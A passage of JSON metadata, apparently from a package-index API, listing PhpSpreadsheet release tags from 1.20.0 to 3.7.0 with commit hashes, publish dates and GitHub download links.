tag","published_at":"2025-01-12T03:46:41.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.6/manifests"},{"name":"2.1.7","sha":"6e5bbcd045708b867f24bea276fb5ccf38efb37f","kind":"tag","published_at":"2025-01-12T03:43:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.7/manifests"},{"name":"1.29.8","sha":"089ffdfc04b5fcf25a3503d81a4e589f247e20e3","kind":"tag","published_at":"2025-01-12T03:39:51.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.8","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.8/manifests"},{"name":"3.7.0","sha":"2fc12fdc58d39297c7b8c72d65b37a1a25d65ab5","kind":"tag","published_at":"2024-12-27T06:06:37.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.7.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.7.0/manifests"},{"name":"2.3.5","sha":"d836f2d7308a192441ccd1546545890b378af913","kind":"tag","published_at":"2024-12-27T06:03:01.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.5/manifests"},{"name":"1.29.7","sha":"02c8625411dcb96e1f63d58c47460284e15b2e80","kind":"tag","published_at":"2024-12-27T05:59:27.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.7","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.7/manifests"},{"name":"2.1.6","sha":"04e8b6edc1bba1bbc8e1aef4111903d11e8323c1","kind":"tag","published_at":"2024-12-27T05:54:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.6/manifests"},{"name":"3.6.0","sha":"bce5db99872f9613121c3ad033c43318a3789396","kind":"tag","published_at":"2024-12-08T15:49:58.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.6.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.6.0/manifests"},{"name":"2.3.4","sha":"01c4122a12327378ab5d97a56a4cbab07e7fa70b","kind":"commit","published_at":"2024-12-08T15:43:45.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.4/manifests"},{"name":"2.1.5","sha":"7327aa0d45e6d8f5d019564a1c13be927c5b2627","kind":"commit","published_at":"2024-12-08T06:01:17.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.5/manifests"},{"name":"1.29.6","sha":"08597725b84570cd6f32bf0ea92e75a803ef28c2","kind":"commit","published_at":"2024-12-08T05:49:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.6","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.6/manifests"},{"name":"3.5.0","sha":"fb74dcdfa5b538763ab980e977529bc783039aec","kind":"tag","published_at":"2024-11-22T07:12:01.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.5.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.5.0/manifests"},{"name":"2.1.4","sha":"52de298ece5a7f5b4a6ebbeb513ed2d714cc75e7","kind":"commit","published_at":"2024-11-22T06:17:24.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.4/manifests"},{"name":"2.3.3","sha":"91a4b42e41976a0b2f839720c3e20a12a84f6852","kind":"commit","published_at":"2024-11-22T06:11:37.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.3/manifests"},{"name":"1.29.5","sha":"727cb704d5479fe4ddc291497ee471c4ec08f1b6","kind":"commit","published_at":"2024-11-22T05:57:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.5","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.5/manifests"},{"name":"1.29.4","sha":"7ca7e325dca3adb6a598385aab81f527b8d6c75d","kind":"commit","published_at":"2024-11-10T16:26:22.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.4","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.4/manifests"},{"name":"3.4.0","sha":"eec07c20b51cc785295a6feef81ada7feda755e7","kind":"tag","published_at":"2024-11-10T10:17:04.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.4.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.4.0/manifests"},{"name":"2.3.2","sha":"08d4e08cf0c7e6182750cef7958b860b8c7f10ad","kind":"commit","published_at":"2024-11-10T09:35:47.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.2/manifests"},{"name":"2.1.3","sha":"fbd9a63e2f2ab6d6a0a3cad27ec14cc7650ee574","kind":"commit","published_at":"2024-11-10T09:29:56.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.3","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.3/manifests"},{"name":"3.3.0","sha":"87ddd21eb0b6b7ad20a11d314348ef307475f547","kind":"tag","published_at":"2024-09-29T07:14:17.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/3.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/3.3.0/manifests"},{"name":"2.1.1","sha":"4e58d8ae1502d7f22af9e4cfeb2d645e243dec4e","kind":"commit","published_at":"2024-09-29T07:06:46.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.1/manifests"},{"name":"2.3.0","sha":"c972c146ddd5e8350ea839355b9bb0ce6a8fa33e","kind":"commit","published_at":"2024-09-29T07:06:02.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.3.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.3.0/manifests"},{"name":"1.29.2","sha":"3a5a818d7d3e4b5bd2e56fb9de44dbded6eae07f","kind":"commit","published_at":"2024-09-29T07:04:47.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.2/manifests"},{"name":"1.29.1","sha":"59ee38f7480904cd6487e5cbdea4d80ff2758719","kind":"commit","published_at":"2024-09-03T00:55:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.1/manifests"},{"name":"2.2.2","sha":"ffbcee68069b073bff07a71eb321dcd9f2763513","kind":"tag","published_at":"2024-08-08T02:39:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.2.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"a3c5c9e7ce3a2a8577bfa9e69960fbccbd2d4a9e","kind":"tag","published_at":"2024-07-29T07:56:32.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.2.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"b0993b7e4d9c860133365d115b176bc6e0f57022","kind":"commit","published_at":"2024-07-24T13:21:18.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.2.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e","kind":"tag","published_at":"2024-05-11T04:18:15.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.1.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"4a77798f835119754961a97714f135826a323caa","kind":"tag","published_at":"2024-01-24T10:41:55.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/2.0.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/2.0.0/manifests"},{"name":"1.29.0","sha":"fde2ccf55eaef7e86021ff1acce26479160a0fa0","kind":"tag","published_at":"2023-06-14T22:48:59.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.29.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.29.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.29.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.29.0/manifests"},{"name":"1.28.0","sha":"6e81cf39bbd93ebc3a4e8150444c41e8aa9b769a","kind":"tag","published_at":"2023-02-25T12:25:14.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.28.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.28.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.28.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.28.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.28.0/manifests"},{"name":"1.27.1","sha":"ef4e6ef74990239946d3983451a9bbed5ef1be5d","kind":"tag","published_at":"2023-02-08T07:04:03.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.27.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.27.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.27.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.1/manifests"},{"name":"1.27.0","sha":"eeb8582f9cabf5a7f4ef78015691163233a1834f","kind":"tag","published_at":"2023-01-24T20:08:07.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.27.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.27.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.27.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.27.0/manifests"},{"name":"1.26.0","sha":"5b6ceea9705b068f993e268e4debc566c2637063","kind":"tag","published_at":"2022-12-21T12:22:42.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.26.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.26.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.26.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.26.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.26.0/manifests"},{"name":"1.25.2","sha":"a317a09e7def49852400a4b3eca4a4b0790ceeb5","kind":"tag","published_at":"2022-09-25T17:21:24.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.2","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.25.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.2/manifests"},{"name":"1.25.1","sha":"bfd6e640fac2160a316353e3cafaeb605112b9b5","kind":"commit","published_at":"2022-09-25T17:14:46.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.25.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.1/manifests"},{"name":"1.25.0","sha":"86f3730ded48d0223fda78f3fb630e1e9ca59917","kind":"tag","published_at":"2022-09-25T11:07:00.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.25.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.25.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.25.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.25.0/manifests"},{"name":"1.24.1","sha":"69991111e05fca3ff7398e1e7fca9ebed33efec6","kind":"commit","published_at":"2022-07-18T19:50:48.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.24.1","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.1/manifests"},{"name":"1.24.0","sha":"ebe8745c92a7cac4514d040758393b5399633b83","kind":"tag","published_at":"2022-07-09T13:57:36.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.24.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.24.0/manifests"},{"name":"1.23.0","sha":"21e4cf62699eebf007db28775f7d1554e612ed9e","kind":"tag","published_at":"2022-04-24T13:54:40.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.23.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.23.0/manifests"},{"name":"1.22.0","sha":"3a9e29b4f386a08a151a33578e80ef1747037a48","kind":"tag","published_at":"2022-02-18T12:57:44.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.22.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.22.0/manifests"},{"name":"1.21.0","sha":"1a359d2ccbb89c05f5dffb32711a95f4afc67964","kind":"tag","published_at":"2022-01-06T11:10:17.000Z","download_url":"https://codeload.github.com/PHPOffice/PhpSpreadsheet/tar.gz/1.21.0","html_url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/PHPOffice/PhpSpreadsheet@1.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/PHPOffice%2FPhpSpreadsheet/tags/1.21.0/manifests"},{"name":"1.20.0","sha":"44436f270bb134b4a94670f3d020a85dfa0a3c02","kind":"tag","published_at":"2021-11-23T15:24:13.